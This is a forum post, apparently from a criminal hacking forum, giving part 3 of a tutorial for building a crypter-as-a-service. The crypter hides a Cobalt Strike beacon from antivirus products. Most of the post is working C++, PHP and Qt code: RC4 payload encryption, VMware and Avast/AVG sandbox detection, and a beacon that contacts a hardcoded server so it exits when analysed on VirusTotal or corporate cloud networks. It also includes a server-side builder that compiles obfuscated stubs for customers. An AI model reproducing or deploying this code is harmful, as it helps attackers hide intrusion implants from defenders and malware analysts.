PART 3 Create Your own crypter and Encrypt Your Cobalt strike beacon and make it fud Bypass Kaspersky, Windows defender, Avira , And most Used AV

D2

Администратор
Регистрация
19 Фев 2025
Сообщения
4,380
Реакции
0
Write Your Own crypter with GUI in One tutorial, In less than One Hour. And Evad's most popular AV, EDR products!

The Killer Guide by TOP G.
Source: https://xss.is

This is part 3 You can check parts from the links below
PART 1 here: https://xss.is/threads/97133

PART 2 here: http://xss.is/threads/98026



POC’s Proof Of Concepts

Bypass windows defender
Bypass KasperSky Antivirus


Before continuing reading, if you still haven't read PART 1 and PAR 2, please ensure you read them.

In Parts 1 and 2 we created the GUI and client Server authentication and Finished up the Custom functions GetProcAddress and GetModuleHandle in this part, we will Continue finishing all futures left and will bypass AVG sandbox, RC4 encryption, and other futures

Here are the futures we will use in our Crypt

1 ) - Runtime Crypting
2 ) - Runtime string obfuscation
3 ) - Anti Virus Total and Anti app.any.run
4 ) - Bypass Avast and AVG Sandbox ( this is a very important and private method )
5 ) - Anti Sandbox and virtual machines ( Detecting VMware and virtual box )
6 ) - Creating Custom GetModuleHandle and GetProcAddress
7 ) - API Hashing
8 ) - RC4 Encryption Algorithm

So as you already know we finished Future number 6 and Future number 7

#RC4 Encryption Algorithm

FireUp your visual studio and create a new Project name it rc4Crypter
Create the files
1 - rc4.h
2 - rc4.cpp
3 - main.cpp

In the rc4.h add the following code
C++: Скопировать в буфер обмена
Код:
#pragma once

#ifndef _RC4_H
#define _RC4_H

struct rc4_state
{
    int x, y, m[256];
};

void rc4_setup(struct rc4_state* s, unsigned char* key, int length);
void rc4_crypt(struct rc4_state* s, unsigned char* data, int length);

#endif

In the rc4.cpp add the following code
C++: Скопировать в буфер обмена
Код:
void rc4_setup(struct rc4_state* s, unsigned char* key, int length)
{
    int i, j, k, * m, a;

    s->x = 0;
    s->y = 0;
    m = s->m;

    for (i = 0; i < 256; i++)
    {
        m[i] = i;
    }

    j = k = 0;

    for (i = 0; i < 256; i++)
    {
        a = m[i];
        j = (unsigned char)(j + a + key[k]);
        m[i] = m[j]; m[j] = a;
        if (++k >= length) k = 0;
    }
}

void rc4_crypt(struct rc4_state* s, unsigned char* data, int length)
{
    int i, x, y, * m, a, b;

    x = s->x;
    y = s->y;
    m = s->m;

    for (i = 0; i < length; i++)
    {
        x = (unsigned char)(x + 1); a = m[x];
        y = (unsigned char)(y + a);
        m[x] = b = m[y];
        m[y] = a;
        data[i] ^= m[(unsigned char)(a + b)];
    }

    s->x = x;
    s->y = y;
}

In the main.cpp add the following code
C++: Скопировать в буфер обмена
Код:
    printf("argv[1] %s \n", argv[1]);


    std::string inputPath = argv[1];
    std::string outputDirectory = argv[2];
    std::string key = argv[3];

    char outputPath[MAX_PATH];
    char KeyPath[MAX_PATH];

    strcpy(outputPath, outputDirectory.c_str());
    strcat(outputPath, "stub.enc");

    strcpy(KeyPath, outputDirectory.c_str());
    strcat(KeyPath, "key.h");

    //std::cout << "Input path: " << inputPath << std::endl;
    //std::cout << "Output path: " << outputDirectory << std::endl;
    //std::cout << "Key: " << key << std::endl;


    // convert plaintext key to hex key and save it to file

    char temphexKey[MAX_PATH];
    char hexKey[MAX_PATH];
    sprintf(temphexKey, "\nunsigned char key[] = {");
    strcpy(hexKey, temphexKey);

    for (int x = 0; x <= (strlen(key.c_str()) - 1); x++)
    {
        if (x == strlen(key.c_str()) - 1)
            sprintf(temphexKey, "0x%x", key[x]);
        else
            sprintf(temphexKey, "0x%x,", key[x]);

        strcat(hexKey, temphexKey);

    }
    strcat(hexKey, "};\n");

    printf(hexKey);

    HANDLE hKey = CreateFileA(KeyPath, GENERIC_WRITE, NULL, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);

    WriteFile(hKey, hexKey, strlen(hexKey), 0, 0);

    CloseHandle(hKey);


    HANDLE hBeacon = CreateFileA(inputPath.c_str(), GENERIC_READ, NULL, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);

    DWORD beaconSize = GetFileSize(hBeacon, 0);
    DWORD beaconReadedBytes = 0;
    unsigned char* buffer = (unsigned char*)LocalAlloc(LPTR, beaconSize);

    if (!ReadFile(hBeacon, buffer, beaconSize, &beaconReadedBytes, 0))
    {
        printf("can't read the beacon file \n");
        return -1;
    }
    CloseHandle(hBeacon);


    struct rc4_state* s;
    s = (struct rc4_state*)malloc(sizeof(struct rc4_state));

    printf("[+] Encrypting...\n");
    rc4_setup(s, (unsigned char*)key.c_str(), key.size());
    rc4_crypt(s, buffer, beaconSize);


    HANDLE hEncBeacon = CreateFileA(outputPath, GENERIC_WRITE, NULL, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);

    DWORD ebeaconReadedBytes = 0;
    if (!WriteFile(hEncBeacon, buffer, beaconSize, &ebeaconReadedBytes, 0))
    {
        printf("can't write the encrytped beacon file \n");
        return -1;
    }
    CloseHandle(hEncBeacon);

Nothing Just using the RC4 encryption library.

In the main function as you can see we used the args to read the path of the input and output files and the Key used for the encryption and decryption

After doing the encryption we add a file called key.h This is where we store the hex key after converting the string to hex and save it as hex then
we use the same method to convert the shellcode into hex and c-type shellcode so we can compile it within the same stub without needing to download it or adding it to the PE Section

In the for loop, we use the function sprintf to convert the char to hex and save it to the Temp variable then we use strcat to move it to the Main Variable, and the if statement checks if we access to the last char and if yes use sprintf without comma other than that we add a comma after every byte and in final we print it and write it to the file key.h

Finally, we encrypt the shellcode and save it as shellcode.enc
The conversation will be in Python we will see this soon

But for now, you can use hxd to convert the shellcode.enc to c type unsigned char and save it in the file name it enc.h
Copy the ech.h to the stub or Decrypter and recompile it now go to your virtual Box and make sure Windows Defender is up to date. When we finish the project you will not need to copy or move anything because everything will be automatically

Attention: For more, I will Record a video to show you the Proof and will not take a static image so everyone can see The bypass


Good we finished the RC4 encryption, now let's start with the next future





























# Anti Sandbox and virtual machines ( Detecting VMware and virtual box )

Add the following code :
C++: Скопировать в буфер обмена
Код:
BOOL IsVmwareDetect()
{
    HRESULT hres;

    hres = CoInitializeEx(0, COINIT_MULTITHREADED);
    if (FAILED(hres))
    {
        return FALSE;
    }

    hres = CoInitializeSecurity(NULL, -1, NULL, NULL, RPC_C_AUTHN_LEVEL_DEFAULT, RPC_C_IMP_LEVEL_IMPERSONATE, NULL, EOAC_NONE, NULL);

    if (FAILED(hres))
    {
        CoUninitialize();
        return FALSE;
    }

    IWbemLocator* pLoc = 0;

    hres = CoCreateInstance(CLSID_WbemLocator, 0, CLSCTX_INPROC_SERVER, IID_IWbemLocator, (LPVOID*)&pLoc);

    if (FAILED(hres))
    {
        CoUninitialize();
        return FALSE;
    }

    IWbemServices* pSvc = 0;


    hres = pLoc->ConnectServer(_bstr_t(L"ROOT\\CIMV2"), NULL, NULL, 0, NULL, 0, 0, &pSvc);

    if (FAILED(hres))
    {
        pLoc->Release();
        CoUninitialize();
        system("pause");
        return FALSE;
    }

    hres = CoSetProxyBlanket(pSvc, RPC_C_AUTHN_WINNT, RPC_C_AUTHZ_NONE, NULL, RPC_C_AUTHN_LEVEL_CALL, RPC_C_IMP_LEVEL_IMPERSONATE, NULL, EOAC_NONE);

    if (FAILED(hres))
    {
        pSvc->Release();
        pLoc->Release();
        CoUninitialize();
        return FALSE;
    }

    IEnumWbemClassObject* pEnumerator = NULL; hres = pSvc->ExecQuery(bstr_t("WQL"), bstr_t("SELECT * FROM Win32_VideoController "), WBEM_FLAG_FORWARD_ONLY | WBEM_FLAG_RETURN_IMMEDIATELY, NULL, &pEnumerator);

    if (FAILED(hres))
    {
        pSvc->Release();
        pLoc->Release();
        CoUninitialize();
        return FALSE;
    }
    else
    {
        IWbemClassObject* pclsObj;
        ULONG uReturn = 0;

        while (pEnumerator)
        {
            hres = pEnumerator->Next(WBEM_INFINITE, 1, &pclsObj, &uReturn);

            if (0 == uReturn)
            {
                break;
            }

            VARIANT vtProp;

            hres = pclsObj->Get(L"Name", 0, &vtProp, 0, 0);

            if (wcscmp(vtProp.bstrVal, L"VMware SVGA 3D") == 0)
            {
                printf("Vmware Detected ... \n");

                return TRUE;
            }
            VariantClear(&vtProp);

            pclsObj->Release();
            pclsObj = NULL;
        }

    }

    pSvc->Release();
    pLoc->Release();
    pEnumerator->Release();

    CoUninitialize();

    return FALSE;
}
And this if statement in Main before the shellcode decryption and invoking

This is my own method I searched on Google to see if anyone shared it I got 0 results
To detect the Vmware and virtual box we need to get the Graphic card name and then compare it with a static Graphic card name that is used by Vmware
The explanation is in PART 2 To not spam you can get back to PART 2



# Bypass Avast and AVG Sandbox ( this is a very important and private method )

Here is also my own method after some analysis of the sandbox of AVG And Avast I detected a bug in the Avast sandbox system and the bug is :

When we try to connect to the root using the function IWbemLocator::ConnectServer

In a real PC even when running the software Or the code on VMware or VirtualBox the software can still connect when running and these two sandboxes can’t.

So here we figure out how we can exploit this bug, first add the code below

C++: Скопировать в буфер обмена
Код:
BOOL IsSandboxDected()
{
    HRESULT hres;

    hres = CoInitializeEx(0, COINIT_MULTITHREADED);
    if (FAILED(hres))
    {
        return FALSE;
    }

    hres = CoInitializeSecurity(NULL, -1, NULL, NULL, RPC_C_AUTHN_LEVEL_DEFAULT, RPC_C_IMP_LEVEL_IMPERSONATE, NULL, EOAC_NONE, NULL);

    if (FAILED(hres))
    {
        CoUninitialize();
        return FALSE;
    }

    IWbemLocator* pLoc = 0;

    hres = CoCreateInstance(CLSID_WbemLocator, 0, CLSCTX_INPROC_SERVER, IID_IWbemLocator, (LPVOID*)&pLoc);

    if (FAILED(hres))
    {
        CoUninitialize();
        return FALSE;
    }

    IWbemServices* pSvc = 0;

    hres = pLoc->ConnectServer(_bstr_t(L"ROOT\\CIMV2"), NULL, NULL, 0, NULL, 0, 0, &pSvc);

    if (FAILED(hres))
    {
        //cout << "Sandbox Detected " << endl;
        pSvc->Release();
        pLoc->Release();
        CoUninitialize();

        //system("pause");
        return TRUE;
    }

    //system("pause");

    pSvc->Release();
    pLoc->Release();
    CoUninitialize();

    return FALSE;

}


In the main function add this code also.
C++: Скопировать в буфер обмена
Код:
    if (IsSandboxDected() == TRUE)
    {
        exit(0);
    }

You can see there is a similarity between the code that detects the VMware and the code that is used to detect the Avast and AVG Sandbox.

The main difference is that in the Detect VMware, we Pass the connect to the namespace so we can query the video card names but in the Avast sandbox we can’t so there are the main differences.




# Anti Virus Total and Anti app.any.run

This future is huge and we need to create a stand-alone project to start using it and gathering information

This project is splited into two splits

The first one is the information gathering
The second is the main malware and this step and code will be added after we get the company's network names that are really used by Virustotal and app.any.rn

What’s required First you need a VPS or VPN that allows you to open ports, second a web server iam using Wampserver.

Next, create a new empty c++ project Name it Honeypot

Create a php file also name it honeypot.php

Create a table and name it ASN and add two columns first id and the second asn

In the php file add this code

PHP: Скопировать в буфер обмена
Код:
<?php 



 $sandboxIp   =  $_SERVER['REMOTE_ADDR'];

 $sandboxData =  file_get_contents("https://ipinfo.io/$sandboxIp?token=2c57fdbc9513d2");
 
 
 $js = json_decode($sandboxData,true);
 $org = $js["org"];
 
 if(strstr($org,"Amazone"))
 {
     
    print(0);
 }

 $file_open = fopen('sandbox_data.txt','a+');
 fwrite($file_open,$org);
 fclose($file_open);
 
?>



In the c++ project add this code

C++: Скопировать в буфер обмена
Код:
int main(int argc , char* argv[])
{
    WSADATA ws;

    struct  addrinfo* result = NULL, * ptr = NULL, hints;

    ZeroMemory(&hints, sizeof hints);

    int Res = WSAStartup(MAKEWORD(2, 2), &ws);

    const char *host = "91.109.180.2";
    const char *port = "80";

    Res = getaddrinfo(host, port, &hints, &result);

    ptr = result;

    SOCKET  Sock = INVALID_SOCKET;
    Sock = socket(ptr->ai_family, ptr->ai_socktype, ptr->ai_protocol);


    Res = connect(Sock, ptr->ai_addr, ptr->ai_addrlen);

    char* buffer;
    buffer = (char*)malloc(500);
    strcpy(buffer, "GET /honeypot.php HTTP/1.0\r\n");
    strcat(buffer, "Host: ");
    strcat(buffer, host);
    strcat(buffer, "\r\n");
    strcat(buffer, "\r\n");

    Res = send(Sock, buffer, strlen((const char*)buffer), 0);
    Return 0;
}

The php code is very simple just getting the ip of the Sandbox and then using ipinfo api to get ip information. The important thing is the retrieved data will focus on the ASN or Autonomous System Number and finally save the Autonomous System Number on the database Aslo you can save them in a Text file this step up two you because as I said before this step is only to gather information

Will use the ASN to detect company networks, Meaning if our malware gets executed from a Company Network such as Microsoft, Google, Amazon, or any other Company VPS, that clearly means our malware is being analyzed by the target or even by the malware analysis team . and to stop them We will BLOCK any connection that came from these CORPS
As you may already know VirusTotal Or app.any.run is using these corps just described above like Microsoft, and Google VPS to run their sandboxes !!

So we can use this knowledge to Fight them and bypass them
Also in c++ code, we just make a connection to the honeypot.php nothing more

Attention: these two codes above are only for now used to gather information and build our own database about the ASN and org the Org contains ASN and corps name
Like this

HTML: Скопировать в буфер обмена
"org": "AS8075 Microsoft Corporation",

Now if you search this ASN in Google you can find this ASN owned by Microsoft Corporation


Also to remind you These public companies' ASNs are also public but iam giving you this technique if you wanna block a custom or a target network you don’t know or can’t find their ASN

Also sometimes Virustotal may use different Networks and you will see how Virustotal shares your EXE with other companies when you upload the honeypot.exe to virus total and start getting connections from different countries

Compile the honeypot project and make sure you replace the ip with your server ip and the path of your file and upload it to Virustotal

Wait until the sandbox finishes checking the behavior

Now go and check your database it should have a lot of ASNs and companies' names we need to block them
Also, get a from the internet and ASN databases and add them to your database for more success

Here we finished gathering information about companies' networks that may be used if our malware gets uploaded to Virustotla or app.any.run

Now get back to the decrypt project and add the same code that we added to Honeypot
But this time will make them inside a function and will invoke it after the Vmware and AVG sandbox detection functions as below

C++: Скопировать в буфер обмена
Код:
BOOL isVtDetected() 
{
    WSADATA ws;

    struct  addrinfo* result = NULL, * ptr = NULL, hints;

    ZeroMemory(&hints, sizeof hints);

    int Res = WSAStartup(MAKEWORD(2, 2), &ws);

    const char* host = "91.109.180.2";
    const char* port = "80";

    Res = getaddrinfo(host, port, &hints, &result);

    ptr = result;

    SOCKET  Sock = INVALID_SOCKET;
    Sock = socket(ptr->ai_family, ptr->ai_socktype, ptr->ai_protocol);


    Res = connect(Sock, ptr->ai_addr, ptr->ai_addrlen);

    char* buffer;
    buffer = (char*)malloc(500);
    strcpy(buffer, "GET /index.php HTTP/1.0\r\n");
    strcat(buffer, "Host: ");
    strcat(buffer, host);
    strcat(buffer, "\r\n");
    strcat(buffer, "\r\n");

    Res = send(Sock, buffer, strlen((const char*)buffer), 0);

    // recive section
    int recivedData_length = 2500;
    char* recived_Buffer;
    recived_Buffer = (char*)malloc(recivedData_length);
    Res = recv(Sock, (char*)recived_Buffer, recivedData_length, 0);



    if (strstr(recived_Buffer, "403 Forbidden")) 
    {
        printf("Virustotal detected \n");
        return TRUE;
    }


    free(buffer);
    free(recived_Buffer);
    return FALSE;
}


The reason for why we add the virus total detection code after these two functions is we may detect Vmware or AVG without making any outside connection and leaking our domain or ip so this is better and safer



Copy the honeypot.php and name the copy as index.php
And add this code
PHP: Скопировать в буфер обмена
Код:
<?php 


 $sandboxIp   =  $_SERVER['REMOTE_ADDR'];

 $sandboxData =  file_get_contents("https://ipinfo.io/$sandboxIp?token=2c57fdbc9513d2");
 
 
 $js = json_decode($sandboxData,true);
 $org = $js["org"];
 
 if(strstr($org,"Microsoft Corporation"))
 {
    header('HTTP/1.1 403 Forbidden');
 }
 else if(strstr($org,"UK Dedicated Servers Limited"))
 {
    header('HTTP/1.1 403 Forbidden');
 }
 else if(strstr($org,"Google LLC"))
 {
    header('HTTP/1.1 403 Forbidden');
 }
 else if(strstr($org,"Vimpelcom"))
 {
    header('HTTP/1.1 403 Forbidden');
 }
 else if(strstr($org,"Amazon.com, Inc."))
 {
    header('HTTP/1.1 403 Forbidden');
 }
 else if(strstr($org,"Zwiebelfreunde"))
 {
    header('HTTP/1.1 403 Forbidden');
 }
 else if(strstr($org,"IELO-LIAZO SERVICES SAS"))
 {
    header('HTTP/1.1 403 Forbidden');
 }
 else
 {
     // do no thing mean will return 200 ok by default
 }
 //
 
 
 
 

?>



Explaining the two Codes above

In the php code same as the honeypot.php code but the main difference here is now we are not storing the corps names or ASN after collecting the information we need to use to detect the VT scan now we are checking directly the ip data with the gathered data if the org contains names such as UK Dedicated Servers Limited, Microsoft, Amazon.com, Inc., Vimpelcom, Google LLC and Zwiebelfreunde e.V.

Will return http 403 Forbidden using the header function
Otherwise will do nothing this by default will return 200 Ok

In the C++ code is simple to make a connection to the server and if the server returns 403 Forbidden exit the process using the exit function otherwise continue like normal we can use the same function we used in the php strstr function to check if the string contains a string in the text

vt_detect.png



As you can see in the image above.
To simulate this process you can use the Server or VPS ip as I did I used my VPN IP and the org data is AS29075 IELO-LIAZO SERVICES SAS
So I added this to the if statement in php code so when I access this from my IP I will get detected and return 403 forbidden when I remove the if and access again will see 200 OK.

The only reason to simulate the process of Virustotal detection is just to know how the program will act in real life and also to show you the proof









Good now we finished almost everything now we have three Main projects

1- Hasher
2- Rc4Crypter
3- stub

Two of them will be compiled and the third will not and the reason for this is the stub or decrypter is the main crypt and will compile it on the fly using the Gui crypter and the other two files will be used to hash the strings for the custom functions GetModuleHandle and GetProcAddress and store them in Config.h
And the rc4crypt will crypt the Cobalt strike beacon and store the key for encryption and decryption in the key.h

These three files generated by the two projects above will be them in the stub.exe

Now compile the hasher.exe and rc4crypt.exe
Go to www of your server and remember the folder we created and store the auth.php file in PART 1 we name it crypter go to it and inside it create a folder and name it project

Inside the project folder copy the index.php that we use it above to detect Virustotal and app.any.run Also copy the hasher.exe and rc4crypt.exe to the project folder

Now go to the stub folder and copy it to the Project folder Total should be like the image below
project.png



Delete these files: Config.h , enc.h, and key.h inside the decrypt project

Cause these 3 files will be generated on the fly before compiling the stub

Now create a new php file name it builder.php and create a python file shellcodegenerator.py and now here you should install Python

In the Python file add this code
[python]

The code is so simple just open the file that we want to encrypt in our situation it's the cobaltstrike beacon then convert the bytes to hex and every 12 rounds add a new line after finishing add the variable name and type then write the shellcode to enc.h

As you can see in the image
shellcode.png



This shellcode type c is generated by the Python file

Tell now everything is awesome

But this project is not finished yet and now we need to make everything Automatic

Before anything let's assume we have 10 customers and 1 of them is using the crypter we can’t let the 9 others wait for the first customer to finish and then use the crypt so to fix this problem we need to create a copy of the decrypt project every time the customer starts crypting new shellcode.

Don't worry everything will be explained first

Open the builder.php file and write the following code

PHP: Скопировать в буфер обмена
Код:
<?php 

error_reporting(0);



function genRandname($length) {
    $characters = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';
    $charactersLength = strlen($characters);
    $randomString = '';
    for ($i = 0; $i < $length; $i++) {
        $randomString .= $characters[rand(0, $charactersLength - 1)];
    }
    return $randomString;
}

function XcopyFolder($Randname)
{
    exec("mkdir $Randname");
    exec("Xcopy /E/I decrypt  $Randname");
}



function StubUpload($ProjectPath)
{
    $stub_name   = basename($_FILES["fileToUpload"]["name"]);
    $ProjectPath = $ProjectPath."/"."stub.bin";

    if(move_uploaded_file($_FILES["fileToUpload"]["tmp_name"], $ProjectPath)) 
    {
      //echo "stub uploaded success";
    } 
    else 
    {
      //echo "Sorry, Faild to upload the stub";
    }

}

function geVarName()
{
    for($i=0;$i<=9999;$i++)
    {
        $randVar = genRandname(5);
        //echo $randVar."\n";
        if(is_numeric($randVar[0]))
        {
            continue;
        }
        else
        {
            break;
        }
    }
    
    return $randVar;
}



function HashString($ProjectPath)
{
    
    $funcs_pep_name     = geVarName();
    $funcs_file_read    = file_get_contents("$ProjectPath\\funcs.h");
    $funcs_file_replace = str_replace("pBEB",$funcs_pep_name,$funcs_file_read);
    $funcs_file_write   = file_put_contents("$ProjectPath\\funcs.h",$funcs_file_replace);    
    
    // $funcs_replacement_ntdll_name = geVarName();
    // $funcs_file_read    = file_get_contents("$ProjectPath\\main.cpp");
    // $funcs_file_replace = str_replace("replacement_ntdll",$funcs_replacement_ntdll_name,$funcs_file_read);
    // $funcs_file_write   = file_put_contents("$ProjectPath\\main.cpp",$funcs_file_replace);    
    
    // $funcs_IsSandboxDected_name = geVarName();
    // $funcs_file_read    = file_get_contents("$ProjectPath\\funcs.h");
    // $funcs_file_replace = str_replace("IsSandboxDected",$funcs_IsSandboxDected_name,$funcs_file_read);
    // $funcs_file_write   = file_put_contents("$ProjectPath\\funcs.h",$funcs_file_replace);        
    
    // $funcs_file_read    = file_get_contents("$ProjectPath\\main.cpp");
    // $funcs_file_replace = str_replace("IsSandboxDected",$funcs_IsSandboxDected_name,$funcs_file_read);
    // $funcs_file_write   = file_put_contents("$ProjectPath\\main.cpp",$funcs_file_replace);    
    
}

function __Main__()
{

    $randomFolderName = genRandname(30);

    if($_SERVER['REQUEST_METHOD'] === 'POST')
    {    
        XcopyFolder($randomFolderName);
        StubUpload($randomFolderName);
        echo $randomFolderName;
    }
    else 
    {    

            $pharse = $_GET["pharse"];
            $foldername = $_GET["foldername"];
        
            HashString($foldername);
        
            exec("hasher.exe $foldername\\");
            exec("rc4Crypter.exe $foldername\\stub.bin $foldername\\ $pharse");
            

            #build the crypter
            $commend   = "MSBuild.exe ";
            $commend  .= "$foldername\Decrypt.vcxproj -t:Rebuild -p:Configuration=Release";// 
            exec($commend);
            exec("move $foldername\Release\decrypt_stub.exe $foldername\stub.exe");
            echo "$foldername/stub.exe";

        
    }

    


}



 __Main__();


?>

What this function does is generate a random string name for the copied folder

Then we use the XcopyFolder folder function to create the new folder and copy the project files to it before starting runtime obfuscation and building the project
The StubUpload function is responsible for uploading the stubs or malwares from the customer's PC to the server to do the encryption of it

Also, you can see clearly the function geVarName and this function is for generating a random string but as you may already know programming languages do not accept the starting of a function or variable name as a number so inside the function we make a loop to generate random strings and check if the first character is numeric continue other than this break and return the random string

HashString the runtime obfuscation function.
In this function, we use the geVarName function as I said before to generate a random string
Then we use the function file_get_contents to read the file has the variables or functions we need to obfuscate then use the str_replace function to replace the random generated variable name with the one we need to change

In this example, I only obfuscate the PPEB variable name only to show you the proof but you can obfuscate all variables you want with the same technique only changing the file name and variable name. but here you need to focus because for example if you obfuscate a function name for example in funcs.h file and the function is included in main.cpp here you also need to include the main.cpp and obfuscate the same function name with the same technique above

Finally, we use file_put_content to replace the old file that is not obfuscated strings with the new one that we obfuscate.

The Function Main invokes everything above.
First, in this function, We use the function genRandname to generate a random folder name then as you can see we checked the request type is it GET or POST if a post Request that means we are in the Uploading stage we are uploading the stub so what we do after generating the random folder name we pass the folder name to the function XcopyFolder to create the directory for us and copy the decrypt project files to the newly generated file, then we invoked the stub upload function to start the uploading after we finished uploading we print the folder name so we can use it in the stage2 and you can see that in the Qt section Soon
And if the request is a GET request then this means we are in stage 2
Here we are reading the phrase or password from the URL and folder name also
Then we invoke the function HashString to do the runtime obfuscation



Now fire up your Qt we're going to need it
Go to mainwindow.h and add this code
private slots:

C++: Скопировать в буфер обмена
Код:
    void onFileUploadonfinished(QNetworkReply *rep);
    void onStage2finished(QNetworkReply *rep);
    void onDownloadingFinished(QNetworkReply *rep);

and in mainwindow.cpp add this code
C++: Скопировать в буфер обмена
Код:
void MainWindow::onDownloadingFinished(QNetworkReply *rep)
{
    QByteArray ReadedBytes = rep->readAll();
    rep->disconnect();
    QString string_Body(ReadedBytes);
    //qDebug() << "3 - Replay : \n" << string_Body << "\n";
    QFile file(ui->saved_file_path->text());

    file.open(QIODevice::WriteOnly);
    file.write(ReadedBytes);
    file.close();
    QMessageBox::information(this,"Succes"," Succes");
}
void MainWindow::onStage2finished(QNetworkReply *rep)
{
    QByteArray ReadedBytes = rep->readAll();
    rep->disconnect();
    QString string_Body(ReadedBytes);
    qDebug() << "2 - Replay : \n" << string_Body << "\n";

    // stage 3 builder.php?stage3=1

    QString Url3 = "http://127.0.0.1/crypter/project/";
    Url3.append(string_Body);

    //qDebug() << "stage 3 url " << Url3 << "\n";

    QUrl stage2url(Url3);

    QNetworkAccessManager *ntmanager = new QNetworkAccessManager(this);
    connect(ntmanager,&QNetworkAccessManager::finished,this,&MainWindow::onDownloadingFinished);
    ntmanager->get(QNetworkRequest(stage2url));
}

void MainWindow::onFileUploadonfinished(QNetworkReply *rep)
{
    QByteArray ReadedBytes = rep->readAll();
    rep->disconnect();
    QString string_Body(ReadedBytes);
    //qDebug() << "1 - Replay : \n" << string_Body << "\n";

    // stage 2
    QString Url2 = "http://127.0.0.1/crypter/project/builder.php?stage2=1&foldername=";
    Url2.append(string_Body);
    Url2.append("&pharse=");
    Url2.append(ui->pharse->text());


    QUrl stage2url(Url2);

    QNetworkAccessManager *ntmanager = new QNetworkAccessManager(this);
    connect(ntmanager,&QNetworkAccessManager::finished,this,&MainWindow::onStage2finished);
    ntmanager->get(QNetworkRequest(stage2url));

}

void MainWindow::stage1(QString filepath)
{

    QUrl url("http://127.0.0.1/crypter/project/builder.php");

    QHttpMultiPart* mp = new QHttpMultiPart(QHttpMultiPart::FormDataType);

    // Add the image data.
    QFile file(filepath);
    file.open(QIODevice::ReadOnly);
    QHttpPart imagePart;
    imagePart.setHeader(QNetworkRequest::ContentDispositionHeader, "form-data; name=\"fileToUpload\"; filename=\"" + file.fileName() + "\"");

    imagePart.setHeader(QNetworkRequest::ContentTypeHeader, "application/octet-stream");

    imagePart.setBody(file.readAll());
    mp->append(imagePart);

    // stage 1
    QNetworkAccessManager *manager = new QNetworkAccessManager(this);

    QNetworkReply* reply = manager->post(QNetworkRequest(url), mp);
    mp->setParent(reply);

    manager->setTransferTimeout(1000000000);
    connect(manager,&QNetworkAccessManager::finished,this,&MainWindow::onFileUploadonfinished);

}

void MainWindow::on_encrypt_button_clicked()
{

    if(!stub_path.isEmpty() && !encrypted_stub_path.isEmpty() &&  !ui->pharse->text().isEmpty())
    {
        //[qt1]
        stage1(stub_path);
    }
    else
    {
        QMessageBox::critical(this,"Error"," Please make sure all inputs are not Empty");
    }

}

This code is responsible for the three stages left.
1 - upload the stub create the folder and copy files of the project to the newly generated folder
2 - pass the phrase or password to the server so the server can use it to encrypt the stub and retrieve the download path of the encrypted stub
3 - download the encrypted stub

All done the Project is finished.

If you have suggestions about a new tutorial in the malware development category please tell me in posts or PM me I will try hard to create it and it for xss forum members

All files of the project can be downloaded from this link:
Password : xss.is
 
Сверху Снизу